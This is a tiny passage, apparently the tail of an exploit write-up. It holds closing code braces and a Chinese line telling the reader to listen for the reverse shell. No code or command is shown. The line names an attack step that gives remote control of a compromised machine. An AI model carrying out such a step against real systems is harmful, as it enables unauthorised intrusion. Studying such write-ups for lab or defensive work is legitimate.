); } }
监听反弹shell即可